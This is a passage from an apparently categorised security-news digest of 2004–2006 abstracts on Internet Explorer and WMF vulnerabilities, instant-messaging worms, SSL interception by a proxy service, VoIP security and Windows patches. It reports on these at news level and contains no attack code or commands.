An exploit for a new zero-day bug in Internet Explorer appeared Thursday, March 23, causing security companies to ring alarms and Microsoft to issue a security advisory that promised it would patch the problem. Just a day after anti-virus vendors warned of a new zero-day vulnerability in Internet Explorer -- the second such alert since Friday, March 17 -- companies including Symantec and Secunia boosted security levels as news of a public exploit spread. Although the publicly-posted exploit only launches a copy of the Windows calculator, "replacing the shellcode in this exploit would be trivial even for an unskilled attacker," Symantec continued. Microsoft confirmed the severity of the bug and the success of the exploit in its own advisory, issued late Thursday. Microsoft advisory: http://www.microsoft.com/technet/security/advisory/917077.mspx

---

Category 23.4 HTML, XML, browsers

2006-04-12 **Microsoft backlash IE patch lawsuit patent lawsuit Eolas ActiveX changes**

DHS IAIP Daily; http://www.securitypipeline.com/news/185300871

MICROSOFT SPARKS BACKLASH BY TYING IE CHANGES TO PATCH.

By packaging a functionality change for Internet Explorer (IE) with a needed security update, Microsoft has alienated some IT professionals, security vendors complained Wednesday, April 12. Along with the 10 patches within the Tuesday, April 11, MS06-013 Security Bulletin, Microsoft bundled changes to IE's handling of ActiveX controls. Those changes, which were prompted by a 2003 $521 million judgment against Microsoft in a patent lawsuit brought by Eolas Technologies Inc. and the University of California, will require users to manually activate controls on some sites. The inclusion of the ActiveX changes "makes everything a mess" for companies deploying and testing Microsoft's monthly patches, said Mike Murray, director of research at vulnerability management vendor, nCircleMurray. Instead, Microsoft should have separated the IE ActiveX changes from the security fixes. "They easily could have deployed it as a separate patch or rolled it into a service pack," said Murray.

Category 23.4 *HTML, XML, browsers*

2006-04-15 **Microsoft Internet Explorer MS IE patent infringement software upgrade patch user interface**

RISKS 24 25

MS IE PATCH ALTERS USER INTERACTIONS WITH EMBEDDED OBJECTS

OK, let's be fair about this, the underlying purpose of the Microsoft patch isn't to break Web pages, though this result was understood and expected.

I haven't seen a detailed discussion of the implications of this situation in RISKS (some venues are calling the issue a "mini-Y2K" -- which is a bit overdramatic), but it *is* important. As of a few days ago, vast numbers of Internet Explorer (IE) users are experiencing Web pages all over the Net which simply don't work as expected any more.

Simplified backstory first. A couple of years ago, Microsoft lost a patent fight over commonly used techniques to embed "active" content into Web pages. While "ActiveX" operations are usually cited in this regard, in reality all manner of embedded active player objects are apparently involved, including Flash, QuickTime, RealPlayer, Java, etc. . . .

In any case, MS decided that they didn't want to pay the associated license fees for the patented techniques (so far, the holders of the patent have seemingly not gone after open source browsers in non-commercial contexts -- such as Firefox -- which is why Firefox is not currently affected by this issue).

Several months ago, MS issued a patch to change IE behavior to what they believe is a non-infringing operation. This requires that users explicitly click embedded objects first (theoretically guided by a small hint message that appears if they happen to mouse over the objects, which will supposedly be visually boxed as a cue), before the objects will become active. In the case of active objects that already require a click to start, this means that *two* clicks will now be needed.

There are variations on this theme. For example, in some cases, playback of video may commence automatically, but the video control buttons reportedly won't be active unless the user clicks them first. Confusing? Yep.

There are ways to redesign Web pages to restore the original behaviors, more or less. But these typically require the use of embedded javascript, which introduces its own complexity and security issues, especially on large sites. . . .

[Commentary by Lauren Weinstein]

Category 23.4 *HTML, XML, browsers*

2006-04-28 **Microsoft Internet Explorer IE bug second in a week proof-of-concept exploit code**

DHS IAIP Daily;
http://www.infoworld.com/article/06/04/28/77853_HNsecondbug_ 1.html

DESPITE DISCOVERY OF SECOND IE BUG, MICROSOFT WILL NOT ISSUE A FIX.

For the second time in a week, hackers have discovered a previously unknown bug in Microsoft Corp.'s Internet Explorer (IE). Although "proof-of-concept" code showing how this vulnerability could be exploited has been published, there are some mitigating factors. Attackers would first need to trick users into visiting a specially coded Webpage and then somehow get them to perform certain actions, such as writing "specific text in a text field," before they could run their malicious software, FrSIRT said. Furthermore, the bug reportedly does not affect the latest versions of Microsoft's Windows and Windows Server 2003 operating systems, FrSIRT said. Because of these factors, Microsoft has decided not to fix the bug in a security update to IE.

23.5 E-mail & instant messaging or chat

Category 23.5 E-mail & instant messaging or chat

2004-12-08 **Internet security instant messaging IM peer-to-peer virus worm threat tracking**

DHS IAIP Daily; http://www.computerweekly.com/articles/article.asp?liArticle ID=135694&liArticleTypeID=1&liCategoryID=6&liChannelID=22&li FlavourID=1&sSearch=&nPage=1

GROUP FORMED TO TRACK IM THREATS.

A group of Internet security and instant messaging (IM) providers have teamed up to detect and thwart the growing threat of IM and P2P (peer-to-peer) viruses and worms. The consortium, led by corporate IM software suppliers, is setting up a threat center to analyze and warn against the vulnerabilities. It is offering free alerts and e-mail notifications of risk assessments and threat management for subscribers. The group's formation follows evidence that security threats against IM and P2P networks are growing. The group includes Imlogic, McAfee, Sybari Software, Yahoo, America Online and Microsoft. The effort is being co-ordinated at the IMlogic Threat Center at http://www.imlogic.com/im_threat_center/index.asp

---

Category 23.5 E-mail & instant messaging or chat

2005-01-13 **Google mail Gmail flaw accident hack Unix community source code boundaries no update issued**

DHS IAIP Daily; http://www.vnunet.com/news/1160489

ACCIDENTAL HACK REVEALS GMAIL FLAW

A Unix community group has reported a flaw in Google's free Gmail email service which it warns could compromise user information. Two members of HBX Networks, going by the monikers 'Hairball' and 'MrYowler,' were testing a Perl script that would send out a newsletter. When they tried to reply to the test email the page displayed HTML code which included the names and passwords of other users. The problem appears to come from poorly defined code boundaries on Google's mail server. The community group members do not propose a workaround beyond informing Google of the problem.

Category 23.5 E-mail & instant messaging or chat

2005-02-08 **e-mail browser client vulnerabilities arbitrary code execution patch**

RISKS; http://www.ngssoftware.com/advisories/eudora-01.txt 23 72

HIGH RISK VULNERABILITIES IN EUDORA FOR WINDOWS

The Windows e-mail client Eudora v6.2.0 and earlier versions were reported by John Heasman of NGSSoftware to have serious vulnerabilities. Monty Solomon summarized them in RISKS:

The flaws permit execution of arbitrary code via:

1) previewing or opening a specially crafted e-mail 2) opening specially crafted stationary or mailbox files

These issues have been resolved in Eudora 6.2.1 as detailed at
http://www.eudora.com/security.html

It can be downloaded from:
http://www.eudora.com/products/

NGSSoftware are going to withhold details of this flaw for three months. Full details will be published on the 2nd of May 2005. This three month window will allow users of Eudora the time needed to apply the patch before the details are released to the general public. This reflects NGSSoftware's approach to responsible disclosure.

NGSSoftware Insight Security Research
http://www.databasesecurity.com/
http://www.nextgenss.com/ +44(0)208 401 0070

Category 23.5 *E-mail & instant messaging or chat*

2005-02-18 **instant messaging IM Yahoo Messenger remote user spoof filename vulnerability file transfer code execution attack update issued**

DHS IAIP Daily; http://www.securitytracker.com/alerts/2005/Feb/1013237.html

YAHOO! MESSENGER LETS REMOTE USERS SPOOF FILENAMES DURING FILE TRANSFER

A vulnerability was reported in Yahoo! Messenger in the file transfer feature. A remote user may be able to cause a target user to execute arbitrary code. Yahoo! Messenger does not properly display files with long filenames in the file transfer dialog windows. A remote user can send a specially crafted, long filename containing whitespace and two file extensions to spoof the filename. Update to version 6.0.0.1921, available at: http://messenger.yahoo.com/

Category 23.5 *E-mail & instant messaging or chat*

2005-03-10 **secure instant messaging IM companies businesses meet privacy concern unauthorized use detection**

DHS IAIP Daily;
http://www.computerworld.com/softwaretopics/software/groupwa
re/story/0,10801,100298,00.html

COMPANIES TURN TO SECURE INSTANT MESSAGING TO MEET PRIVACY CONCERNS

With the use of instant messaging (IM) on an upswing, companies concerned about security, regulatory and privacy issues are sometimes turning to secure IM solutions that allow only authorized users access to IM – while stopping others from sending instant messages. Available software provides businesses with control and administration of all IM activity by their workers, including dynamic detection and routing of IM use on the network, and prevention of unauthorized IM usage. Lawrence Orans, an analyst at Gartner Inc., said IM technology tools can now increase security because they allow businesses to set policies on permitted IM usage. While some companies do little to monitor their employees' IM use, the potential for viruses and network attacks will make it more important that they pay attention to potential problems, he said. "It will increasingly become risky to look the other way," Orans said. Another analyst, Robert Mahowald at IDC Inc., warned that there are still pitfalls to instant messaging, even with the use of secure applications. "You've significantly increased your chances of blocking [viruses and other problems] by having a secure IM solution in place," Mahowald said. "But it doesn't completely solve the problem."

Category 23.5 *E-mail & instant messaging or chat*

2005-03-22 **instant messaging IM threat hacker spread malicious code research**

DHS IAIP Daily; http://www.vnunet.com/news/1162084

HACKERS INCREASINGLY SPREADING MALICIOUS CODE VIA INSTANT MESSAGING.

Attacks using instant messaging (IM) as an unprotected backdoor in enterprises are reaching epidemic proportions, industry experts have warned. Analyst firm IDC Research said that the problem is leading to a sharp hike in highly sophisticated IM attacks that spread malicious code and worms directly into organizations without any end-user intervention. "Hackers and virus writers have realized that the next vulnerable area for attack within an organization is to spread malicious code via IM," said Brian Burke, research manager for security products at IDC. Hackers are increasingly using IM as a vector for phishing scams and for so-called 'pharming' attacks, malicious redirects where thousands of IM users are persuaded to click on a link to a bogus, malware-infected Website. According to security firm Websense, incidents involving hackers using IM soared by 300 percent during the first quarter of 2005, compared with the fourth quarter of 2004. "Social engineering and vulnerabilities within IM client technologies are being used to gain access to hosts," said Dan Hubbard, senior director of security and technology research at Websense.

Category 23.5 E-mail & instant messaging or chat

2005-08-04 **instant messaging IM threat trend multiple network attack**

DHS IAIP Daily; http://www.techweb.com/wire/security/167101004

NEW TREND FOUND IN IM ENTERPRISE THREATS

Nearly a quarter more new viruses threatening corporate computers through employee use of public instant-messaging networks were discovered last month, including one that reflected a new trend of attacking multiple IM systems, a security firm said. A total of 42 new threats were tracked in July, a 24 percent increase over the previous month, San Diego-based Akonix Systems said. July had the second highest number of new threats seen by Akonix since the beginning of the year. The highest was in April, when 48 were found. Five new viruses were discovered in July, including Rants, Prex, Kirvo, Hagbard and Lamar. The Akonix Security Center also found new variants of previous malware, including Kelvir, Bropia, Opanki and Oscabot. Of particular concern was the Rants virus, which was found on two different IM networks, David Jaros, director of product marketing for Akonix, said. In April, Akonix started seeing the same virus written for separate networks, such as AIM from America Online and Yahoo Messenger. Since then, the security firm has seen several multi-network viruses. "The virus writers are no longer focusing on one network," Jaros said. "They're broadening the number of users as potential targets."

Category 23.5 E-mail & instant messaging or chat

2005-11-02 **instant messaging IM secure productive AOL MSN Yahoo merger**

DHS IAIP Daily; ttp://www.esecurityplanet.com/best_practices/article.php/3561171

SECURE AND PRODUCTIVE WORKPLACE INSTANT MESSENGING

With the possible merger of AOL's AIM, MSN Messenger and Yahoos Messenger there will approximately 275 million users communicating over the internet. This has led to a vital part of the workday for many individuals. One of the advantages is that instant messaging allows for inexpensive communication between individuals. In addition, more recently there is now have video conferencing or voice-chats with minimal fuss and no extra charges. There are some perceived disadvantages to using IM, which includes lost productivity. However, one way to deal with this is to provide appropriate training to employees about proper usage of IM and that it should be treated much like e-mail.

Category 23.5 E-mail & instant messaging or chat

2005-11-30 **instant messaging IM threats November 2005 skyrocket**

DHS IAIP Daily; http://www.messagingpipeline.com/news/174402978;jsessionid=XKU0HNGVXMREEQSNDBCCKH0CJUMEKJVN

INSTANT MESSAGING THREATS SKYROCKET IN NOVEMBER

Akonix Systems, the San Diego, CA, provider of instant messaging (IM) security systems, said that its Security Center team tracked 62 IM-based attacks in November, a 226-percent increase over last month. The most significant new finding was that viruses no longer discriminate against specific IM systems, and can have a far costlier impact in terms of potential damage. Akonix reported that 36 percent of the IM attacks hit more than one public network and 13 percent of the attacks had the capability to spread through all four major IM networks. The Akonix Security Center noted that 58 of the worms detected were variants of previous worms, while four new worms were introduced during November. "November marked the highest number of IM threats that we have ever seen to date, proving that hackers see this real-time communications medium as a wide-open security hole in corporate networks," said Don Montgomery, vice president of marketing at Akonix Systems, in a prepared statement.

Category 23.5 E-mail & instant messaging or chat

2006-01-04 **instant messaging IM exploit WMF vulnerability study**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/holes/story/0,10801,107455,00.html

ATTEMPTS TO EXPLOIT WMF VULNERABILITY BY INSTANT MESSAGING MULTIPLY

Security researchers have logged more than 70 variations of instant messages (IM) attempting to exploit the Windows Metafile (WMF) vulnerability since the first were reported on Saturday, December 31. Malicious WMF files can be distributed via a number of channels, including e-mail, Websites, peer-to-peer file sharing services and IM systems. An attacker may be able to gain control of an IM user's computer by sending such a file, or a link to a Website where one is hosted, through an IM system and then tricking the recipient into clicking on the file or link. The first attempts to do this were logged on Saturday morning, when security researchers at Kaspersky Labs Ltd. Received reports of a wave of attacks on Dutch users of the MSN Messenger service. They had received messages inviting them to click on a link to a Website containing an image with the name "xmas-2006 FUNNY.jpg." Anyone following the link would set in motion a chain of events, beginning with the download of a Trojan horse identified by Kaspersky as Trojan-Downloader.VBS.Psyme.br. This in turn would try to install a bot named Backdoor.Win32.SdBot.gen, which would then receive instructions over an Internet Relay Chat (IRC) channel to download IM-Worm.Win32.Kelvir.

23.6 Web-site infrastructure, general Web security issues

Category 23.6 *Web-site infrastructure, general Web security issues*

2005-03-11 **man-in-the-middle attack SSL encryption decryption misrepresentation confidentiality data theft risk banking proxy servers vulnerability insider fraud**

RISKS; http://www.shellnofcu.com/site/scams.html 23 79

MAN IN THE MIDDLE ATTACK ON SSL?

Russell Page had an interesting analysis of a technique potentially vulnerable to insider fraud:

Marketscore (www.marketscore.com) offer a free proxy service web users. They offer accelerated downloads and e-mail virus scanning. To use their service users download and install software onto their PCs. Marketscore are quite explicit that they collect a wide range of information about their subscribers, and make information available to web site owners on usage patterns - a sort of "Neilson" for the net.

Unfortunately, they also impersonate SSL sites. If a subscriber attempts to set up an SSL connection to say, her bank, the Marketscore proxy sends back it's certificate, and then establishes an SSL connection to the destination. Clearly for this to work, the servers have to decrypt then re-encrypt all of the traffic. Equally clearly, large numbers of credit card numbers, account names, passwords etc are passing through the Marketscore systems in the clear.

Category 23.6 *Web-site infrastructure, general Web security issues*

2005-09-25 **online scam fraud phishing protection tool GeoTrust TrustWatch Toolbar Website safety SSL**

EDUPAGE; http://news.com.com/2100-1029_3-5879068.html

NEW TOOLS RATE SAFETY OF WEB SITES

Two new tools from GeoTrust offer Internet users another layer of protection against a range of online scams. The TrustWatch Search site and TrustWatch Toolbar both provide indications about the probable reliability of sites users are visiting, in an effort to help consumers avoid being victimized by phishing scams or by other forms of fraudulent Web sites. The tools evaluate sites for security practices such as certain forms of authentication or use of a Secure Sockets Layer certificate. Sites are also screened against a black list of known fraud sites and checked for patterns that would indicate potentially malicious intent. Users are shown a green signal to indicate a verified site, a yellow signal for suspect sites, and a red signal for sites that cannot be verified. The toolbar provides users with a real-time screen for sites they visit; the search site returns search results--powered by Ask Jeeves--with one of the three indicators for each site returned. CNET, 25 September 2005

23.7 VoIP

Category 23.7 VoIP

2005-01-06 **National Institute of Standards and Technology NIST concern Voice over IP VoIP security vulnerabilities firewalls encryption report**

DHS IAIP Daily; http://www.fcw.com/fcw/articles/2005/0103/web−voip−01−06−05. asp

NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY (NIST) RAISES CONCERNS ABOUT VOICE OVER INTERNET PROTOCOL (VOIP).

Government administrators may not understand the complexity of installing security systems for Internet telephony, a new government study suggests. Officials at the National Institute of Standards and Technology (NIST) released a January 5 report that examines security vulnerabilities in Internet-based telephone systems and raises concerns about an emerging technology that otherwise appears to offer many advantages over traditional telephone networks. Security concerns described in the report suggest that the cost and complexity of installing such systems is greater than people realize. The report's authors say that security measures such as firewalls and encryption used in traditional data networks are incompatible with current Internet-based telephone systems and can cause serious deterioration in the voice quality possible on such systems. To compensate for the current security vulnerabilities of Voice over Internet Protocol (VoIP) technology, NIST officials made several recommendations in the report. Report: http://csrc.nist.gov/publications/nistpubs/800-58/SP800-58-f inal.pdf

---

Category 23.7 VoIP

2005-02-07 **VoIP security threats companies VoIPSA TippingPoint networks lists white papers research**

EDUPAGE; http://www.internetnews.com/security/article.php/3469251

VOIP PROVIDERS TACKLE SECURITY THREATS UP FRONT

More than 20 companies involved in voice over Internet protocol (VoIP) tools and technology have formed the VoIP Security Alliance (VOIPSA) to try to stay ahead of security threats to the emerging VoIP market. "The same threats on a data network are also inherent in a VoIP deployment," said Laura Craddick, a spokesperson for TippingPoint, one of the founding members of VOIPSA. "Then there are additional risks in VoIP protocols," she added. With VoIP taking hold in some corporate sectors, and with household adoption of VoIP technology expected to rise from 400,000 to 12 million over the next five years, analysts warn of the need to anticipate threats to VoIP networks and prepare for them. VOIPSA will operate discussion lists, publish white papers, and sponsor research. Aside from TippingPoint, VOIPSA members currently include Alcatel, Avaya, Columbia University, and Symantec. Notably absent are Cisco and Nortel, which the group is actively trying to recruit.

Category 23.7 VoIP

2005-02-07 **voice over Internet protocol VoIP security alliance formed VOIPSA Siemens Qwest SANS NIST**

DHS IAIP Daily; http://www.wired.com/news/technology/0,1282,66512,00.html

VOIP SECURITY ALLIANCE FORMED

A new industry group has formed to look at the security threats inherent in voice over Internet protocol (VoIP). The VoIP Security Alliance, or VOIPSA, launched on Monday, February 7. So far, 22 entities, including security experts, researchers, operators and equipment vendors, have signed up. They range from equipment vendor Siemens and phone company Qwest to research organization The SANS Institute. They aim to counteract a range of potential security risks in the practice of sending voice as data packets, as well as educate users as they buy and use VoIP equipment. An e-mail mailing list and working groups will enable discussion and collaboration on VoIP testing tools. Over the past year, experts have repeatedly warned that VoIP abuse is inevitable. The National Institute of Standards and Technology (NIST) put out a report last month urging federal agencies and businesses to consider the complex security issues often overlooked when considering a move to VoIP. NIST is a member of VOIPSA.

Category 23.7 VoIP

2005-03-20 **VoIP technology hackers phreaking FTC spoofing personal information theft**

EDUPAGE; http://www.wired.com/news/privacy/0,1848,66954,00.html

APPLYING OLD SCAMS TO NEW TECHNOLOGIES

The emergence of voice over Internet protocol (VoIP) phone service has opened a new door for hackers and others to fool users. Using the Internet to transmit phone calls allows callers to spoof Caller ID systems, something that isn't possible with traditional phone service. Although telemarketers are required by the Federal Communications Commission to properly identify themselves, Caller ID spoofing is otherwise not prohibited. As a result, someone can, for example, call Western Union, which requires customers to call from their home phones to initiate money transfers, using a faked source number, and make a fraudulent transfer. In other instances, debt collectors and private investigators use Caller ID spoofing to trick people into answering their phones and possibly divulging information they otherwise would not. Scams similar to e-mail phishing rackets also take advantage of Caller ID spoofing, deceiving people into believing that a caller is at a bank or a financial institution and helping persuade them to reveal personal information to the caller. Wired News, 20 March 2005

Category 23.7 VoIP

2005-04-11 **voice over Internet Protocol VoIP security threats warning emergency services targets fire police**

DHS IAIP Daily; http://www.networkingpipeline.com/showArticle.jhtml?articleID=160700231

VoIP SECURITY CHIEF WARNS OF INCREASED SECURITY THREATS

VoIP Security Alliance Chairman, David Endler, says that threats to VoIP are increasing; and emergency services, fire, and police may be targeted. The Voice Over IP Security Alliance (VOIPSA) is the first industry-wide organization devoted to promoting VoIP security. “As VoIP increases in popularity and number of deployments, so will its attractiveness to potential attackers,” Endler observes. “VoIP networks inherit most of the same security threats that traditional data networks have today,” he notes. "However, by adding new VoIP components to an existing data infrastructure, new security requirements are also added: quality of service, reliability, and privacy. We can expect to see over the next year or two VoIP specific attacks emerge that go beyond today's more prevalent data network vulnerabilities." Our reliance on voice communications for basic needs raises the stakes even higher, when you look at emergency services call centers like 911, police and fire departments, Endler says. One of the problems, he says is that “the threats have not been well identified and laid out yet in a coherent manner. That's one of the things VOIPSA is trying to change with one of our first short-term projects, the VoIP Security Threat Taxonomy.” VOIPSA Website: http://www.voipsa.org/

Category 23.7 VoIP

2005-09-27 **wiretapping interception VoIP FCC rules considered**

DHS IAIP Daily;
http://management.silicon.com/government/0,39024677,39152744 ,00.htm

VOIP WIRETAPPING RULES TO BE CONSIDERED

The Federal Communications Commission's (FCC) has developed a 59-page decision for Broadband providers and Internet phone services. They now have until spring 2007 to follow a new and complex set of rules designed to make it easier for police to seek wiretaps. This includes that any voice over IP, or VoIP, provider linking with the public telephone network must be wiretap-ready.

Category 23.7 VoIP

2005-11-07 **FCC Internet phone customer no cutoff VoIP emergency E911**

DHS IAIP Daily;
http://www.boston.com/business/technology/articles/2005/11/0
8/us_fcc_says_no_cutoff_for_internet_phone_customers/

FEDERAL COMMUNICATIONS COMMISSION SAYS NO CUTOFF FOR INTERNET PHONE CUSTOMERS

According to guidance from the Federal Communications Commission (FCC) released on Monday, November 7, Internet telephone providers will not have to cut off service to U.S. subscribers even if they are not able to receive enhanced 911 (E911) emergency service. Internet telephone providers had worried that the FCC's rules adopted in May would required them to suspend by November 28 service for subscribers who cannot receive E911 service. According to the recently released guidance, existing customers do not have to be disconnected, but Internet telephone providers will have to cease marketing and accepting new customers in areas where they are not connecting 911 calls with the person's location and phone number. The voice-over-Internet-protocol (VOIP) rules adopted in May required 911 calls to be routed to live dispatchers and the caller's location and number be identified. The move followed instances in which customers had trouble reaching help when they dialed 911. The Voice On the Net Coalition, which represents many VOIP providers, said that roughly 750,000 customers could be affected if they had to suspend service to those who did not have enhanced 911 service available. FCC guidance: http://www.fcc.gov/headlines.html

24.2 Windows NT/2K/XP

Category 24.2 Windows NT/2K/XP

2006-01-05 **Microsoft Windows WMF vulnerability patch release**

DHS IAIP Daily;
http://www.cnn.com/2006/TECH/internet/01/05/wmfflaw/index.html

MICROSOFT RELEASES PATCH FOR WMF FLAW

Microsoft has released a patch for a vulnerability in some Windows graphics files. For more than a week, criminal hackers have been exploiting the flaw in Windows Meta File, or WMF. About 90 percent of computer users worldwide use some form of the Windows operating system. The company became aware of the malicious attacks Tuesday, December 27. What's especially dangerous about the attacks: Your computer could be infected with viruses, spyware or other malicious programs just by viewing a Webpage, an e-mail message, or an Instant Message that contains one of the contaminated images. Computer security experts have been dealing with scores of variations on the attack since it was discovered. "Nobody knew it was coming," security expert Rick Howard of Counterpane Internet Security said. "There was no security intervention or mitigation for it." Unlike infamous computer worms and viruses like Blaster, Code Red or I Love You, the WMF attack is not spreading like wildfire across the Internet. Most of the malicious efforts fit the patterns of recent attacks. They are not designed to earn bragging rights for a brash programmer, but instead are likely tied to theft, fraud and organized crime. US-CERT Technical Cyber Security Alert TA06-005A: Update for Microsoft WMF vulnerability: http://www.uscert.gov/cas/techalerts/TA06-005A.html Microsoft Security Bulletin MS06-001: http://www.microsoft.com/technet/security/Bulletin/MS06-001. mspx

---

Category 24.2 Windows NT/2K/XP

2006-01-06 **Microsoft Windows WMF vulnerability critical patch release**

DHS IAIP Daily;
http://www.techweb.com/showArticle.jhtml?articleID=175802037

MICROSOFT PLANS TWO MORE CRITICAL PATCHES THIS WEEK [6 JAN 2006]

Microsoft may have released the Windows Metafile hot fix, but it has other patches still to come Tuesday, January 10, the Redmond, WA-based developer said late Thursday, January 5. In the monthly pre-patch notification it puts out five days prior to releasing fixes, Microsoft warned users that two security bulletins, both tagged as "Critical," will be issued Tuesday. In Microsoft's terminology, Critical means that a vulnerability can be remotely exploited. One of the two bulletins will involve Windows, and the other will affect Microsoft Office and Microsoft Exchange, the company's business suite and e-mail server software, respectively. Multiple non-security, high-priority updates will also be released Tuesday, as will an updated Windows Malicious Software Removal Tool. Microsoft will host a follow-up Webcast Wednesday, January 11, to answer questions about the fixes. More details can be found in the advance notice posted on Microsoft's Website: http://www.microsoft.com/technet/security/bulletin/advance.mspx

---

Category 24.2 Windows NT/2K/XP

2006-01-09 **Microsoft scour source code discover vulnerability WMF**

DHS IAIP Daily;
http://news.com.com/Microsoft+to+hunt+for+new+species+of+Win
dows+bug/2100−1002_3−6024778.html?tag=cd.lede

MICROSOFT TO HUNT FOR NEW SPECIES OF WINDOWS BUG

Microsoft plans to scour its code to look for flaws similar to a recent serious Windows bug and to update its development practices to prevent similar problems in future products. The critical flaw, in the way Windows Meta File (WMF) images are handled, is different than any security vulnerability the software maker has dealt with in the past, said Kevin Kean and Debby Fry Wilson, directors in Microsoft's Security Response Center. Typical flaws are unforeseen gaps in programs that hackers can take advantage of and run code. By contrast, the WMF problem lies in a software feature being used in an unintended way. In response to the new threat, the software company is pledging to take a look at its programs, old and new, to avoid similar side effects. Microsoft has been working for years to improve its security posture, beginning with its Trustworthy Computing Initiative, launched in early 2002. The WMF problem is not a good advertisement for Microsoft's security efforts, one analyst said, as the legacy issue seemingly went undetected. "This should have been caught and eliminated years ago," said Gartner analyst Neil MacDonald.

Category 24.2 *Windows NT/2K/XP*

2006-01-09 **Microsoft Windows WMF new vulnerability denial of service DoS arbitrary code execution**

DHS IAIP Daily; http://www.securitypipeline.com/news/175802826

MORE UNPATCHED BUGS LOOSE IN MICROSOFT WINDOWS METAFILE

Just days after Microsoft rushed out a patch for a bug in Windows Metafile (WMF) image processing, a security company has warned customers that multiple memory corruption vulnerabilities in the same rendering engine could leave users open to attack. "An attacker may leverage these issues to carry out a denial of service attack or execute arbitrary code," Symantec said in a vulnerability alert issued through its DeepSight Management System. The bugs may be associated with the one patched Thursday, January 5, by Microsoft, but they involve different functions of the Windows WMF rendering engine, added Symantec, which highlighted the various values and structures within the engine which could be exploited. "Reports indicate that these issues lead to a denial of service condition, however, it is conjectured that arbitrary code execution is possible as well," the Symantec alert went on. If true, the dangers of these new vulnerabilities are identical to the flaw that Microsoft fixed last week. Like that bug, these newly-discovered vulnerabilities can be exploited with a maliciously-crafted WMF file that's posted on a Website, opened from an e-mail attachment, or launched with Microsoft or third-party image applications.

Category 24.2 *Windows NT/2K/XP*

2006-01-11 **Microsoft Outlook Exchange vulnerability danger WMF exploit e-mail**

DHS IAIP Daily;
http://www.techweb.com/wire/security/175803652;jsessionid=KS
BY2QFNY1BIQQSNDBOCKHSCJUMEKJVN

MICROSOFT'S NEWEST BUG COULD BE SERIOUS, RESEARCHER SAYS

The Outlook and Exchange vulnerability disclosed by Microsoft Tuesday, January 10, has the potential to become a much more virulent problem than the long-hyped Windows Metafile (WMF) bug patched last week, said one of the e-mail flaw's discoverers Wednesday, January 11. The TNEF (Transport Neutral Encapsulation Format) vulnerability, which Microsoft spelled out in the MS06-003 security bulletin, is a flaw in how Microsoft's Outlook client and older versions of its Exchange server software decode the TNEF MIME attachment. TNEF is used by Exchange and Outlook when sending and processing messages formatted as Rich Text Format (RTF), one of the formatting choices available to Outlook users. "All that's required to exploit this is an e-mail message," said Mark Litchfield, director of NGS Software. "If you did it right, you could own every Outlook user in the world within a week," he said.

Category 24.2 *Windows NT/2K/XP*

2006-01-18 **Windows XP patch update delay Vista release Palladium**

DHS IAIP Daily; http://www.securityfocus.com/brief/107

WINDOW XP UPDATE DELAYED UNTIL AFTER VISTA

Microsoft will not release Windows XP Service Pack 3 until the second half of 2007, after the company's planned shipment date for its next-generation operating system Vista, the software giant said on Wednesday, January 18. Vista will add some long-overdue security features, including limiting the privileges of the everyday user account similar to Unix-based systems, such as Linux and the Mac OS X. Another security feature that Microsoft touted -- the next-generation secure computing base (NGSCB), formally known as "Palladium" -- will only be partially incorporated in Vista, and it's uncertain whether it will follow the industry-created standard. The last major update for Windows XP, known as Service Pack 2, was released in August 2004 and added a host of new security features and bug fixes to Microsoft's flagship desktop operating system. Vista's focus on security will not eradicate security flaws -- just this week the software giant released an update for the beta version of the operating system to fix the recent vulnerability in the Windows Meta File (WMF) format.

Category 24.2 *Windows NT/2K/XP*

2006-02-08 **Windows WMF vulnerability IE quality assurance**

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2149931/windows−hit−
yet−wm f−hole

WINDOWS HIT BY YET ANOTHER WMF HOLE.

Microsoft has issued a warning about a new vulnerability in the Windows Meta File (WMF) image format that affects older versions of Internet Explorer (IE). The vulnerability exists in IE 5.5 running on Windows 2000 and IE 5.01 on Windows ME. Users of IE 6 or other Windows versions are not affected by this vulnerability, Microsoft emphasized in a security advisory. Microsoft Security Advisory: http://www.microsoft.com/technet/security/advisory/913333.mspx

---

Category 24.2 *Windows NT/2K/XP*

2006-02-15 **Microsoft security patch February issue TCP/IP vulnerability**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1927250,00.asp

MICROSOFT CORRECTS SECURITY PATCH ISSUE.

Microsoft was forced to update one of its February security patches after some users were unable to install the fix that addressed a TCP/IP vulnerability in several versions of Windows. The software giant confirmed on its Website that security patch number MSO6-007 was altered to provide additional installation instructions after it was discovered that some people were having issues downloading the update. The company said the problem did not affect the content of the security patch itself. Microsoft said that shortly after the release of the patch on Tuesday, February 14, the company realized that the fix was not working properly when installed alongside its Inventory Tool for Microsoft Updates using its Automatic Updates, Windows Update, Windows Server Update Services and Systems Management Server 2003 management features.

24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2004-12-15 **wireless FCC airplanes Internet access**

NewsScan; http://www.latimes.com/technology/ats-ap_technology10dec15

WIRELESS ACCESS ON JETS?

The Federal Communications Commission (FCC) is considering a plan that would allow air travelers wireless high-speed Internet access. David Stempler, president of the Air Travelers Association, says the changes under consideration would "make business travelers more efficient and while away the time for a lot of other passengers. This is all the wave of the future here." (AP/Los Angeles Times 15 Dec 2004)

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-01-03 **WiFi Vonage VoIP voice over IP**

NewsScan; http://www.usatoday.com/tech/news/2005-01-03-wifi-phone_x.htm

VONAGE TO OFFER WI-FI INTERNET PHONE CALLS

Vonage, the No. 1 Internet phone company, is offering its subscribers a wireless Wi-Fi phone that can make calls over the Internet at homes or at public Wi-Fi hot spots. A phone will cost around $100. Wi-Fi calls are essentially free, in contrast to cell phone calls, and customers will plug a regular phone into an adapter linked to a broadband Internet line. Vonage will then turn the calls into data that travel by Internet before being converted back to voice at the other end. (USA Today 3 Jan 2005)

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-01-13 **WiFi security wireless WiMax Bluetooth**

NewsScan; http://www.theregister.com/2005/01/13/wi_fi_paint/

PAINT ON A LITTLE WI-FI SECURITY

